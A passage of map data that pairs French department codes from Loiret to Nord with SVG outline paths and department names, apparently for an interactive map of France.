132.875,185.84375 z ", "name" : "Loire Atlantique"},
	"FR-45" : {"path": "M 273.71875,160.46875 L 271.1875,162.8125 L 265.46875,163.3125 L 265.25,163.6875 L 265.8125,164.8125 L 264,166.34375 L 264.40625,170 L 262.875,170.28125 L 261.875,173.90625 L 260.1875,175.75 L 257.8125,175.75 L 255.5625,177 L 254.3125,175.59375 L 252.90625,175.03125 L 251.375,176.03125 L 251.375,177.5625 L 250.25,178.40625 L 248.4375,177.28125 L 247.3125,178.125 L 247.4375,179.375 L 246.90625,180.53125 L 247.3125,180.65625 L 248.96875,180.65625 L 248.84375,181.78125 L 247.71875,183.71875 L 247.71875,184.71875 L 248.84375,184.71875 L 249.8125,185.84375 L 250.09375,186.96875 L 247.875,189.1875 L 248.96875,191.875 L 248.96875,193.125 L 250.8125,194.375 L 253.34375,194.65625 L 255,196.0625 L 255.4375,198.46875 L 257.25,200.5625 L 259.21875,200 L 260.0625,198.1875 L 263.15625,198.59375 L 263.84375,199.3125 L 265.8125,199.3125 L 266.78125,198.1875 L 273.9375,198.46875 L 275.625,200.96875 L 277.59375,201.8125 L 279.28125,203.375 L 281.375,203.09375 L 281.9375,202.375 L 283.1875,202.375 L 284.75,204.34375 L 287.96875,204.5 L 288.8125,205.59375 L 291.0625,208.6875 L 292.03125,209.53125 L 293.28125,209.40625 L 293.4375,206.59375 L 294,206.3125 L 294.84375,206.4375 L 296.25,208.28125 L 297.21875,208.6875 L 299.21875,207.875 L 298.90625,207.53125 L 298.71875,205.5625 L 302.625,204.40625 L 302.03125,202.25 L 301.4375,199.125 L 298.90625,195.625 L 298.3125,193.46875 L 302.21875,193.46875 L 304.96875,191.5 L 305.34375,188.59375 L 303.59375,186.625 L 308.6875,182.34375 L 308.6875,178.8125 L 306.125,176.09375 L 305.15625,172.96875 L 301.625,169.625 L 296.75,172.375 L 296.375,170.8125 L 294.21875,170.625 L 293.625,172.1875 L 291.6875,172.5625 L 286.40625,172.375 L 284.25,173.75 L 282.5,172.1875 L 285.625,170.03125 L 285.4375,166.71875 L 283.09375,165.53125 L 281.125,162.59375 L 275.875,162.21875 L 273.71875,160.46875 z ", "name" : "Loiret"},
	"FR-46" : {"path": "M 247.46875,347.3125 L 243.3125,349.25 L 242.71875,349.34375 L 242.84375,349.53125 L 241.5,350.6875 L 241.5,352.84375 L 243.25,354.78125 L 241.5,357.90625 L 239.9375,358.90625 L 239.71875,360.84375 L 236.40625,361.25 L 236.59375,363.375 L 237.78125,363.78125 L 235.03125,367.6875 L 230.75,368.0625 L 230.5625,371 L 228.78125,372.75 L 227.8125,375.3125 L 223.90625,375.5 L 225.46875,381.34375 L 227.125,384.96875 L 229.625,384.875 L 229.78125,385.90625 L 228.375,387.5 L 229.4375,389.625 L 231.03125,389.625 L 232.78125,391.5625 L 234.375,391.5625 L 235.625,390.15625 L 235.96875,390.53125 L 235.96875,392.28125 L 236.5,394.59375 L 240.21875,394.75 L 243.21875,391.5625 L 244.8125,391.40625 L 245.34375,392.28125 L 246.21875,394.21875 L 247.65625,394.21875 L 248.1875,390.6875 L 251.1875,391.0625 L 252.9375,388.9375 L 255.78125,389.625 L 260.03125,387.6875 L 260.0625,388.0625 L 261.4375,386.625 L 259.65625,383.96875 L 258.96875,380.4375 L 261.25,378.5 L 262.3125,378.84375 L 265.5,375.3125 L 267.25,375.5 L 267.96875,374.59375 L 271.5,374.59375 L 272.75,373.1875 L 273.09375,372.09375 L 271.5,371.875 L 272.59375,368.5625 L 270.09375,367.46875 L 272.59375,361.65625 L 269.28125,359.1875 L 268.15625,352 L 265.125,351.1875 L 262.90625,353.375 L 261.8125,351.4375 L 258.5,354.75 L 256.28125,355.03125 L 252.4375,349.53125 L 247.46875,347.3125 z ", "name" : "Lot"},
	"FR-47" : {"path": "M 195.25,363.375 L 193.1875,363.65625 L 191.4375,364.1875 L 188.9375,364.71875 L 188.25,366.65625 L 189.125,368.59375 L 191.25,368.78125 L 190.90625,370.53125 L 189.3125,371.0625 L 187.53125,373.1875 L 184.53125,377.78125 L 183.125,380.25 L 183.65625,382.90625 L 184.53125,384.6875 L 182.59375,385.90625 L 180.65625,385.90625 L 180.28125,387.875 L 181.53125,388.9375 L 181.71875,390.875 L 180.28125,392.28125 L 177.15625,392.78125 L 177.625,393.34375 L 178.34375,397.59375 L 182.21875,397.25 L 184.875,398.28125 L 187.1875,398.46875 L 188.25,399.71875 L 186.125,401.84375 L 185.59375,405.71875 L 186.0625,406.9375 L 186.8125,405.375 L 189.125,407.34375 L 192.25,404.21875 L 193.625,406.15625 L 196.9375,405.5625 L 200.46875,405.1875 L 202.03125,402.4375 L 207.875,401.875 L 210.8125,404.78125 L 211.8125,403.8125 L 213.75,403.21875 L 212.96875,400.5 L 215.90625,399.71875 L 219.625,398.9375 L 218.8125,396.59375 L 220,395.21875 L 220.96875,391.5 L 218.8125,389.15625 L 220.1875,384.6875 L 223.125,386.4375 L 227.4375,385.65625 L 225.46875,381.34375 L 223.90625,375.5 L 227.8125,375.3125 L 228.59375,373.25 L 225.53125,371.96875 L 224.125,370.375 L 222,370.375 L 219.53125,372.65625 L 217.59375,372.5 L 217.0625,371.25 L 218.46875,370.375 L 218.46875,369.125 L 216.875,367.375 L 215.46875,367.1875 L 214.59375,368.25 L 210.6875,368.25 L 210.34375,366.84375 L 209.09375,366.65625 L 206.96875,368.40625 L 203.09375,368.40625 L 201.3125,370 L 198.3125,368.9375 L 197.96875,365.25 L 195.25,363.375 z ", "name" : "Lot et Garonne"},
	"FR-48" : {"path": "M 320.78125,352.25 L 315.3125,354.21875 L 313.75,357.71875 L 310.25,355.375 L 307.5,363.96875 L 304.6875,370.4375 L 308.78125,375.46875 L 308.5,379.34375 L 311.25,381.28125 L 311.25,385.96875 L 312.09375,392.59375 L 315.40625,394 L 315.125,396.1875 L 319.8125,395.375 L 321.46875,396.1875 L 320.4375,397.09375 L 326.46875,401.125 L 331.625,400.0625 L 332.5,398.8125 L 331.78125,397.0625 L 333.90625,396.53125 L 336.90625,399.34375 L 342.03125,399.875 L 344.34375,396.34375 L 344.34375,393.34375 L 345.75,391.75 L 344.5,391.40625 L 344.5,387.34375 L 341.6875,384.34375 L 344,383.96875 L 345.21875,382.90625 L 346.1875,381.03125 L 345.21875,380.4375 L 345.78125,376.3125 L 342.46875,372.71875 L 341.09375,365.53125 L 336.125,359.1875 L 332.5,360.0625 L 331.71875,357.34375 L 329.75,357.34375 L 329.375,359.6875 L 324.3125,361.25 L 320.78125,352.25 z ", "name" : "Lozère"},
	"FR-49" : {"path": "M 141.9375,188.6875 L 141.5,189.5625 L 141.21875,189.5 L 141.4375,190.21875 L 141.4375,192.46875 L 143.53125,193.75 L 144.8125,197.15625 L 146.75,199.5625 L 144.1875,201.84375 L 144.34375,204.71875 L 145.3125,205.53125 L 148.84375,205.0625 L 151.75,207.78125 L 152.40625,211.8125 L 150.46875,213.125 L 144.1875,212.96875 L 140.15625,213.75 L 137.90625,214.90625 L 137.90625,216.8125 L 140,219.40625 L 142.09375,219.40625 L 142.25,222.15625 L 143.0625,222.96875 L 142.09375,225.21875 L 140.46875,225.6875 L 140.46875,227.15625 L 139.65625,227.96875 L 140.625,228.4375 L 141.125,228.28125 L 142.5625,228.28125 L 144.1875,230.375 L 144.125,232.40625 L 144.5,232.46875 L 146.125,233.4375 L 151.125,233.4375 L 153.78125,235.6875 L 157.5,234.09375 L 163.5625,235.46875 L 166.28125,233.6875 L 166.28125,230.96875 L 171.5625,230.5625 L 176.4375,229.59375 L 181.71875,229.40625 L 182.3125,230.78125 L 183.6875,231.9375 L 185.03125,229.59375 L 188.75,225.6875 L 190.25,225.6875 L 192.46875,217.6875 L 195.59375,213.96875 L 195.375,209.6875 L 197.34375,207.125 L 197.34375,205.96875 L 196.375,204.78125 L 197,203.5 L 194.34375,202.46875 L 186.125,197.46875 L 178.53125,195.21875 L 175.625,195.0625 L 175.625,193.125 L 173.84375,191.65625 L 171.9375,191.65625 L 168.375,190.53125 L 166.125,192.78125 L 160.96875,192.96875 L 158.6875,191.65625 L 152.90625,189.90625 L 151.59375,191.5 L 148.375,189.40625 L 145.46875,189.40625 L 141.9375,188.6875 z ", "name" : "Maine et Loire"},
	"FR-50" : {"path": "M 119.5625,77.5 L 118.78125,79.46875 L 122.90625,82.78125 L 122.90625,87.09375 L 121.34375,89.03125 L 122.3125,90 L 122.90625,90.40625 L 122.5,94.125 L 123.875,97.25 L 128.375,102.3125 L 129.34375,106.8125 L 130.3125,108.1875 L 130.3125,115.21875 L 132.65625,119.90625 L 132.65625,125.375 L 130.125,130.4375 L 132.84375,137.46875 L 137.15625,138.4375 L 137.53125,140.40625 L 135.40625,141.375 L 131.71875,141.375 L 132.3125,143.84375 L 133.46875,147.5625 L 136.8125,150.5 L 138.375,150.875 L 139.9375,148.75 L 141.6875,148.53125 L 143.8125,146 L 145.78125,147.5625 L 148.125,147.5625 L 149.6875,148.34375 L 149.6875,148.71875 L 153,149.125 L 154.96875,147.5625 L 157.875,148.75 L 157.9375,148.875 L 161.28125,146.03125 L 162.40625,142.3125 L 162.09375,140.6875 L 162.5625,138.78125 L 160.625,136.84375 L 155.625,133.59375 L 151.9375,133.28125 L 148.21875,128.59375 L 151.28125,127.46875 L 152.5625,125.0625 L 150.96875,123.59375 L 152.40625,122.3125 L 153.84375,123.4375 L 156.4375,121.84375 L 158.0625,119.25 L 158.6875,116.6875 L 157.5625,114.40625 L 158.21875,113.59375 L 156.75,111.1875 L 158.375,109.09375 L 157.09375,107.46875 L 155.46875,109.5625 L 153.21875,108.28125 L 149.5,104.5625 L 149.34375,102.96875 L 150.46875,101.84375 L 150.125,99.6875 L 148.28125,100.15625 L 148.09375,95.46875 L 143,89.4375 L 144.5625,85.53125 L 146.71875,85.53125 L 144.78125,80.25 L 136.375,79.84375 L 131.875,82.96875 L 126.8125,79.65625 L 119.5625,77.5 z ", "name" : "Manche"},
	"FR-51" : {"path": "M 337.375,99.3125 L 335.03125,100.3125 L 335.4375,102.25 L 331.3125,102.25 L 327.625,105 L 327.625,110.25 L 330.34375,112.03125 L 331.125,113.78125 L 326.625,114.15625 L 326.0625,115.9375 L 327.8125,117.09375 L 327.03125,118.28125 L 325.28125,119.0625 L 325.65625,120.40625 L 328.1875,120.40625 L 329.1875,121.78125 L 327.4375,122.96875 L 325.875,127.0625 L 322.9375,128.4375 L 321.9375,130.5625 L 320.96875,131.75 L 321.1875,132.90625 L 319.625,133.90625 L 319.21875,136.625 L 320.78125,137.59375 L 321.5625,140.53125 L 320.59375,142.28125 L 321.1875,143.65625 L 324.09375,143.46875 L 324.09375,144.4375 L 324.9375,144.25 L 328.3125,147.8125 L 333.0625,147.03125 L 338.625,143.25 L 341.96875,143.25 L 345.34375,140.875 L 349.3125,138.6875 L 352.28125,138.90625 L 352.6875,142.875 L 356.25,148.21875 L 360.21875,148.21875 L 365.78125,147.03125 L 369.75,148.40625 L 373.90625,145.4375 L 374.5,140.5 L 379.09375,139.71875 L 379,136.625 L 375.28125,133.6875 L 374.875,132.125 L 376.25,129.78125 L 375.0625,128.8125 L 376.25,125.875 L 378.40625,124.90625 L 379.96875,120.03125 L 376.84375,120.21875 L 378.59375,118.28125 L 377.21875,113.96875 L 375.875,111.03125 L 377.625,109.46875 L 376.625,109.28125 L 376.375,107.9375 C 376.33461,107.94351 376.09375,107.96875 376.09375,107.96875 L 374.3125,106.375 L 372.3125,108.375 L 371.71875,108.375 L 370.9375,107.375 L 366.1875,107.1875 L 365.375,108.375 L 364,108.375 L 362.8125,105.78125 L 360.21875,105.78125 L 359.625,106.375 L 357.0625,106.1875 L 353.875,103.8125 L 351.6875,103.21875 L 350.90625,102.03125 L 346.75,99.4375 L 342,99.3125 L 342.0625,101.09375 L 340.6875,101.46875 L 337.375,99.3125 z ", "name" : "Marne"},
	"FR-52" : {"path": "M 379.09375,139.71875 L 374.5,140.5 L 373.90625,145.4375 L 369.75,148.40625 L 367.59375,147.65625 L 366.5625,149.8125 L 366.375,152.78125 L 369.9375,157.75 L 373.3125,158.9375 L 374.09375,163.09375 L 374.3125,170.21875 L 373.125,172 L 369.75,172.21875 L 367.5625,174.1875 L 369.15625,175.1875 L 369.8125,177.6875 L 372.15625,179 L 375.65625,182.71875 L 380.15625,188.78125 L 377.625,191.5 L 379.375,192.6875 L 379.5625,196 L 382.6875,195.8125 L 383.46875,197.375 L 385.8125,197.5625 L 387.5625,196.59375 L 390.6875,200.5 L 391.09375,201.46875 L 395.375,200.5 L 396.1875,198.53125 L 396.375,198.5625 L 396.375,196.59375 L 399.09375,195.40625 L 402.21875,196.59375 L 405.15625,195.40625 L 406.90625,195.40625 L 407.5,191.5 L 408.46875,190.34375 L 406.71875,190.15625 L 406.53125,187.8125 L 409.25,187.21875 L 409.4375,185.65625 L 412.1875,185.65625 L 412.1875,183.125 L 414.34375,182.34375 L 413.75,180.78125 L 414.34375,180.40625 L 412.5625,179 L 410.4375,179.78125 L 410.4375,175.6875 L 404.96875,172.96875 L 406.125,167.6875 L 407.875,166.5 L 407.3125,164.75 L 404.75,164.375 L 404.1875,161.8125 L 401.84375,161.8125 L 399.09375,158.125 L 395.96875,157.90625 L 394.625,155.96875 L 396.375,154.21875 L 392.25,149.71875 L 390.5,149.125 L 385.8125,146.78125 L 383.28125,144.0625 L 379.1875,143.46875 L 379.09375,139.71875 z ", "name" : "Haute Marne"},
	"FR-53" : {"path": "M 182.5,146.40625 L 180.5625,146.59375 L 179.75,148.53125 L 176.84375,149.71875 L 171.5625,148.9375 L 166.28125,152.0625 L 164.34375,150.6875 L 161.40625,152.65625 L 159.25,151.09375 L 157.875,148.75 L 154.96875,147.5625 L 153,149.125 L 149.6875,148.71875 L 149.5,153.8125 L 150.46875,154.59375 L 150.46875,158.5 L 148.5,160.46875 L 148.5,163.59375 L 149.09375,165.53125 L 149.09375,171.1875 L 150.46875,172.5625 L 150.46875,177.84375 L 147.15625,177.4375 L 145.78125,178.21875 L 143.25,184.46875 L 142.25,188 L 141.9375,188.6875 L 145.46875,189.40625 L 148.375,189.40625 L 151.59375,191.5 L 152.90625,189.90625 L 158.6875,191.65625 L 160.96875,192.96875 L 166.125,192.78125 L 168.375,190.53125 L 171.9375,191.65625 L 173.84375,191.65625 L 173.875,191.6875 L 174.5,190.21875 L 174.5,184.40625 L 173.84375,183.4375 L 174.1875,182.46875 L 176.9375,182.3125 L 178.21875,181.1875 L 178.375,180.21875 L 176.9375,176.65625 L 177.40625,175.21875 L 180.625,174.90625 L 180.3125,174.09375 L 181.125,172.15625 L 180.46875,170.6875 L 181.28125,169.09375 L 184.1875,166.65625 L 183.84375,164.09375 L 184.34375,159.90625 L 185.46875,157.96875 L 189.125,156.78125 L 188.5625,156.75 L 187.5625,153.21875 L 185.03125,152.25 L 184.25,147.96875 L 182.5,146.40625 z ", "name" : "Mayenne"},
	"FR-54" : {"path": "M 401.59375,88.4375 L 399.25,90.59375 L 395.9375,90.78125 L 394.78125,91.96875 L 394.53125,91.96875 L 394.40625,94.3125 L 395.5625,96.21875 L 395.15625,97.375 L 394.78125,98.71875 L 394.96875,99.46875 L 395.9375,98.71875 L 396.875,97 L 398.8125,96.8125 L 402.0625,95.84375 L 403.78125,97.1875 L 404.53125,98.71875 L 405.125,100.4375 L 405.125,102.15625 L 406.0625,102.9375 L 406.0625,104.25 L 405.125,105.40625 L 404.9375,107.90625 L 405.6875,109.0625 L 405.875,110.59375 L 406.0625,113.0625 L 407.21875,114.03125 L 408.9375,114.78125 L 408.1875,116.3125 L 410.28125,118.25 L 408.375,120.34375 L 408.75,121.6875 L 410.65625,122.625 L 410.65625,123.59375 L 408.375,123.59375 L 407.40625,124.9375 L 407.59375,125.90625 L 409.125,127.4375 L 407.8125,131.0625 L 406.28125,134.5 L 407.03125,136.625 L 407.03125,140.0625 L 407.8125,141.78125 L 408.9375,141.78125 L 409.53125,142.75 L 407.8125,142.75 L 406.28125,143.5 L 406.28125,144.65625 L 408.1875,146.375 L 408.1875,149.0625 L 410.09375,148.46875 L 412.96875,148.65625 L 413.15625,151.71875 L 414.3125,152.125 L 412.96875,153.0625 L 412.78125,154.03125 L 414.875,154.40625 L 416.21875,156.125 L 422.53125,155.75 L 423.875,153.25 L 426.75,153.25 L 427.90625,152.3125 L 429.8125,153.46875 L 431.53125,152.875 L 434.03125,153.0625 L 436.125,152.3125 L 438.21875,150.78125 L 439.375,151.9375 L 439.5625,149.25 L 441.09375,148.65625 L 441.875,151.15625 L 444.15625,151.34375 L 446.46875,151.9375 L 447.40625,152.125 L 450.6875,150.59375 L 452.40625,149.4375 L 453.9375,147.53125 L 457,146.375 L 459,145.9375 L 457.875,144.84375 L 460.03125,145.03125 L 460.4375,144.625 L 458.125,143.875 L 454.875,141.59375 L 452,139.46875 L 448.5625,139.46875 L 444.9375,137.375 L 442.0625,137.1875 L 442.0625,136.40625 L 437.65625,133.75 L 432.6875,131.625 L 430.1875,131.625 L 429.25,128.96875 L 425.40625,124.15625 L 421.59375,124.15625 L 420.0625,122.0625 L 417,122.0625 L 417.1875,119 L 413.15625,116.5 L 413.34375,114.03125 L 415.46875,114.03125 L 415.46875,111.90625 L 416.21875,110.375 L 414.5,108.65625 L 416.03125,106 L 414.875,102.9375 L 413.9375,102.15625 L 411.4375,96.8125 L 412.40625,95.28125 C 412.40625,95.28125 412.32712,94.02401 412.25,92.34375 L 409.625,92.34375 L 406.09375,88.4375 L 401.59375,88.4375 z ", "name" : "Meurthe et Moselle"},
	"FR-55" : {"path": "M 390.125,86.53125 L 388.75,88.78125 L 387,89.9375 L 385.625,88.59375 L 382.6875,88.59375 L 382.125,87.8125 L 380.15625,91.5 L 379.375,92.875 L 381.71875,95.8125 L 380.9375,99.71875 L 378.78125,101.46875 L 379,102.84375 L 379.75,104.78125 L 378.59375,105.96875 L 376.25,107.125 L 376.625,109.28125 L 377.625,109.46875 L 375.875,111.03125 L 377.21875,113.96875 L 378.59375,118.28125 L 376.84375,120.21875 L 379.96875,120.03125 L 378.40625,124.90625 L 376.25,125.875 L 375.0625,128.8125 L 376.25,129.78125 L 374.875,132.125 L 375.28125,133.6875 L 379,136.625 L 379.1875,143.46875 L 383.28125,144.0625 L 385.8125,146.78125 L 390.5,149.125 L 392.25,149.71875 L 396.375,154.21875 L 395.9375,154.65625 L 399.375,154.21875 L 399.375,152.5 L 403.21875,151.71875 L 403.21875,150.40625 L 404.15625,150.40625 L 404.15625,151.53125 L 407.21875,150.59375 L 408.40625,149 L 408.1875,149.0625 L 408.1875,146.375 L 406.28125,144.65625 L 406.28125,143.5 L 407.8125,142.75 L 409.53125,142.75 L 408.9375,141.78125 L 407.8125,141.78125 L 407.03125,140.0625 L 407.03125,136.625 L 406.28125,134.5 L 407.8125,131.0625 L 409.125,127.4375 L 407.59375,125.90625 L 407.40625,124.9375 L 408.375,123.59375 L 410.65625,123.59375 L 410.65625,122.625 L 408.75,121.6875 L 408.375,120.34375 L 410.28125,118.25 L 408.1875,116.3125 L 408.9375,114.78125 L 407.21875,114.03125 L 406.0625,113.0625 L 405.875,110.59375 L 405.6875,109.0625 L 404.9375,107.90625 L 405.125,105.40625 L 406.0625,104.25 L 406.0625,102.9375 L 405.125,102.15625 L 405.125,100.4375 L 404.53125,98.71875 L 403.78125,97.1875 L 402.0625,95.84375 L 398.8125,96.8125 L 396.875,97 L 395.9375,98.71875 L 394.96875,99.46875 L 394.78125,98.71875 L 395.15625,97.375 L 395.5625,96.21875 L 394.40625,94.3125 L 394.53125,91.96875 L 393.59375,91.96875 L 392.8125,88.25 L 391.25,86.6875 L 390.125,86.53125 z ", "name" : "Meuse"},
	"FR-56" : {"path": "M 56,160.59375 L 52.75,162.15625 L 50.46875,162.15625 L 48.0625,164.09375 L 48.21875,165.53125 L 49.65625,169.25 L 50.46875,172.15625 L 55.46875,172.96875 L 57.90625,174.90625 L 58.875,173.75 L 60.46875,175.875 L 59.65625,176.84375 L 59.5,179.71875 L 58.0625,179.71875 L 56.9375,181.5 L 54.65625,181.5 L 53.71875,185.34375 L 55.90625,188.84375 L 59.03125,189.625 L 60.1875,187.875 L 59.625,190 L 62.34375,191.1875 L 65.875,194.6875 L 67.03125,196.84375 L 66.65625,199.375 L 66.25,201.9375 L 68.59375,203.6875 L 69.78125,202.3125 L 68.59375,200.75 L 68.59375,197.25 L 70.9375,197.8125 L 71.71875,195.46875 L 72.3125,196.84375 L 74.84375,199 L 76.03125,197.03125 L 74.84375,194.3125 L 77,197.25 L 79.71875,196.84375 L 79.15625,195.46875 L 81.6875,196.0625 L 83.625,198.40625 L 82.65625,199.96875 L 80.125,199.1875 L 77.1875,197.8125 L 75.625,199.78125 L 77.96875,200.5625 L 79.71875,203.28125 L 90.28125,202.3125 L 93,202.90625 L 91.65625,204.0625 L 91.84375,205.84375 L 92.21875,206.125 L 93.0625,205.96875 L 94.8125,204.21875 L 95.96875,205.5625 L 99.09375,205.5625 L 102.8125,203.625 L 108.28125,201.46875 L 108.46875,196 L 109.625,195.375 L 107.5625,191.5 L 109.34375,190.0625 L 109.03125,189.09375 L 107.90625,188.4375 L 109.65625,187.625 L 111.28125,185.6875 L 111.125,183.75 L 109.03125,183.75 L 108.53125,181.84375 L 110,179.90625 L 108.375,177 L 105.96875,175.53125 L 103.21875,175.53125 L 102.25,175.21875 L 102.25,173.9375 L 103.6875,172.625 L 104.5,169.40625 L 104.03125,167.3125 L 103.375,168.125 L 99.5,167.8125 L 97.71875,164.5625 L 96.28125,164.5625 L 94.03125,165.375 L 94.03125,167.46875 L 90.96875,169.40625 L 88.53125,168.4375 L 87.5625,166.34375 L 86.78125,167.46875 L 84.5,167.46875 L 83.375,166.03125 L 82.25,166.03125 L 79.84375,163.59375 L 77.09375,164.25 L 74.1875,161.65625 L 71.59375,161.84375 L 70.8125,163.4375 L 67.75,165.0625 L 64.03125,163.4375 L 63.0625,162.46875 L 61.4375,163.59375 L 59.5,163.4375 L 59.1875,161.84375 L 56.125,161.03125 L 56,160.59375 z ", "name" : "Morbihan"},
	"FR-57" : {"path": "M 423.09375,90.40625 L 420.15625,90.59375 L 417.8125,92.5625 L 417.21875,93.53125 L 413.90625,93.53125 L 412.75,92.34375 L 412.25,92.34375 C 412.32712,94.02401 412.40625,95.28125 412.40625,95.28125 L 411.4375,96.8125 L 413.9375,102.15625 L 414.875,102.9375 L 416.03125,106 L 414.5,108.65625 L 416.21875,110.375 L 415.46875,111.90625 L 415.46875,114.03125 L 413.34375,114.03125 L 413.15625,116.5 L 417.1875,119 L 417,122.0625 L 420.0625,122.0625 L 421.59375,124.15625 L 425.40625,124.15625 L 429.25,128.96875 L 430.1875,131.625 L 432.6875,131.625 L 437.65625,133.75 L 442.0625,136.40625 L 442.0625,137.1875 L 444.9375,137.375 L 448.5625,139.46875 L 452,139.46875 L 454.875,141.59375 L 458.125,143.875 L 460.4375,144.625 L 463.9375,141.125 L 465.125,137.03125 L 463.5625,135.46875 L 463.375,134.09375 L 465.6875,129.78125 L 460.25,126.65625 L 457.125,129 L 455.34375,127.84375 L 456.125,126.09375 L 454.1875,124.71875 L 451.625,123.53125 L 451.625,121 L 454.1875,120.21875 L 455.15625,115.71875 L 456.90625,113.78125 L 457.6875,116.71875 L 459.84375,117.6875 L 463.5625,118.28125 L 465.5,120.21875 L 467.84375,120.21875 L 469.8125,118.84375 L 472.34375,120.625 L 473.71875,120.625 L 475.28125,119.25 L 475.28125,116.3125 L 477,113.3125 L 476.59375,113.4375 L 475.25,111.5 L 471.34375,109.15625 L 469.96875,107 L 465.28125,107.40625 L 462.53125,109.9375 L 455.90625,110.125 L 453.9375,108.75 C 453.80551,108.51057 452.84437,106.81438 452,106.34375 C 451.96729,106.32639 451.91355,106.29802 451.875,106.28125 C 451.84646,106.26959 451.80512,106.25698 451.78125,106.25 C 451.77058,106.24458 451.73002,106.22452 451.71875,106.21875 C 451.71591,106.21876 451.69093,106.21861 451.6875,106.21875 C 451.66248,106.21745 451.61378,106.21875 451.59375,106.21875 C 450.67823,106.21876 448.90565,105.19125 448.6875,105.0625 L 445.9375,106.21875 L 445.75,108.5625 L 442.4375,108.96875 L 440.46875,105.25 L 439.3125,104.84375 L 439.3125,102.125 L 436.5625,100.9375 L 436.375,96.25 L 434.40625,94.3125 L 430.3125,92.34375 L 428.375,92.34375 L 427.78125,92.75 L 425.8125,92.75 L 423.09375,90.40625 z ", "name" : "Moselle"},
	"FR-58" : {"path": "M 306.75,203.78125 L 305.78125,205.3125 L 303.9375,205.3125 L 301.46875,204.75 L 298.71875,205.5625 L 298.90625,207.53125 L 301.25,210.25 L 301.25,213.96875 L 299.5,216.5 L 300.0625,218.84375 L 303.59375,221.59375 L 303.78125,224.3125 L 305.75,228.4375 L 305.34375,233.125 L 307.5,235.25 L 306.90625,240.34375 L 306.71875,242.875 L 307.6875,244.625 L 306.1875,249.40625 L 306.3125,250.875 L 309.65625,252.4375 L 312,255 L 314.125,253.8125 L 316.09375,252.65625 L 316.5,254.40625 L 319.40625,254.40625 L 320.1875,252.84375 L 321.9375,253.625 L 322.53125,256.15625 L 324.09375,255.78125 L 327.8125,250.6875 L 329.75,252.0625 L 330.0625,252.65625 L 333.125,250.75 L 334.375,250.90625 L 335.34375,253.28125 L 337.1875,253 L 338.59375,251.59375 L 340.40625,251.59375 L 341.8125,249.78125 L 343.21875,249.5 L 343.5,248.5 L 346.5625,248.65625 L 346.71875,247.9375 L 345.3125,246.6875 L 345.3125,245.4375 L 347.28125,244.3125 L 347.28125,243.46875 L 345.4375,242.34375 L 345.15625,240.25 L 345.3125,238.28125 L 344.0625,237.4375 L 345.15625,235.90625 L 346.15625,235.34375 L 346.84375,233.65625 L 345.875,233.09375 L 344.75,231.40625 L 346.15625,229.4375 L 348.53125,228.03125 L 351.46875,228.03125 L 351.46875,225.8125 L 352.3125,225.53125 L 352.3125,224.6875 L 351.0625,222.71875 L 348.25,222.15625 L 347.28125,220.46875 L 347.6875,218.9375 L 347.96875,216.8125 L 347.46875,215.6875 L 344.34375,217.8125 L 343.0625,218.375 L 341.375,217.25 L 341.53125,214.4375 L 339.6875,214.4375 L 338.15625,215.4375 L 337.75,214.15625 L 338.59375,212.75 L 337.59375,211.5 L 336.46875,213.1875 L 336.625,214.4375 L 333.96875,214.3125 L 329.75,210.375 L 326.53125,210.25 L 326.53125,208.125 L 324.28125,206.71875 L 323.84375,204.90625 L 323.15625,204.78125 L 323.15625,208.28125 L 321.90625,208.5625 L 320.0625,208 L 318.125,209.25 L 317,209.53125 L 315.875,208.5625 L 314.75,209.125 L 312.21875,207.4375 L 310.40625,207.4375 L 309.125,206.59375 L 309.40625,205.03125 L 308,203.78125 L 306.75,203.78125 z ", "name" : "Nièvre"},
	"FR-59" : {"path": "M 285.78125,4.0625 L 279.53125,7 L 269.78125,8.5625 L 269.25,8.65625 L 272.96875,14.5625 L 275.5625,21.125 L 279.90625,21.3125 L 281.6875,22.6875 L 279.53125,23.6875 L 279.53125,26.0625 L 282.28125,29.03125 L 287.25,30.25 L 293.40625,30.625 L 294.78125,28.4375 L 296.78125,28.4375 L 297.75,30.4375 L 295.1875,32.03125 L 295.59375,36 L 299.15625,36.96875 L 302.71875,37.375 L 303.71875,39.9375 L 305.5,40.75 L 305.09375,42.125 L 302.53125,43.3125 L 302.3125,44.5 L 304.3125,46.90625 L 305.6875,47.875 L 305.3125,49.0625 L 303.71875,50.25 L 304.3125,50.65625 L 306.875,50.84375 L 309.0625,52.25 L 308.875,54.03125 L 307.6875,54.8125 L 307.46875,58 L 305.6875,58.1875 L 303.90625,58 L 301.9375,59.1875 L 303.125,59.59375 L 305.09375,59.59375 L 306.875,59.96875 L 307.46875,60.96875 L 306.3125,63.1875 L 307.875,64.75 L 309.4375,65.15625 L 311,64.15625 L 313.15625,64.15625 L 313.75,65.34375 L 314.53125,65.15625 L 316.875,63.78125 L 319.21875,65.15625 L 322.34375,63 L 323.71875,63 L 325.28125,64.375 L 328.40625,62.21875 L 329.75,62.40625 L 330.9375,63.375 L 335.25,63.78125 L 335.625,65.53125 L 337.78125,63.59375 L 338.9375,63.59375 L 339.71875,66.125 L 343.4375,67.09375 L 344.5,66.375 L 344.1875,66.375 L 344,64.4375 L 347.90625,62.09375 L 347.3125,58.375 L 343.59375,57.40625 L 344.5625,56.40625 L 344.5625,53.6875 L 347.5,51.53125 L 346.71875,49.96875 L 340.46875,45.09375 L 329.53125,45.6875 L 328.375,47.625 L 327,47.625 L 327.1875,40.78125 L 324.0625,37.09375 L 321.71875,37.46875 L 320.34375,35.90625 L 316.4375,37.65625 L 315.09375,36.3125 L 312.34375,35.90625 L 311.5625,33.375 L 311.375,25.5625 L 309.625,24.78125 L 309.40625,23.59375 L 308.25,23.59375 L 307.84375,21.25 L 305.3125,21.46875 L 300.4375,23.03125 L 298.09375,25.9375 L 295.75,25.9375 L 294.1875,24 L 293.59375,21.84375 L 291.65625,19.6875 L 288.90625,19.6875 L 287.75,17.5625 L 287.75,14.21875 L 289.09375,12.09375 L 288.3125,9.15625 L 285.78125,4.0625 z ", "name" : "Nord"},
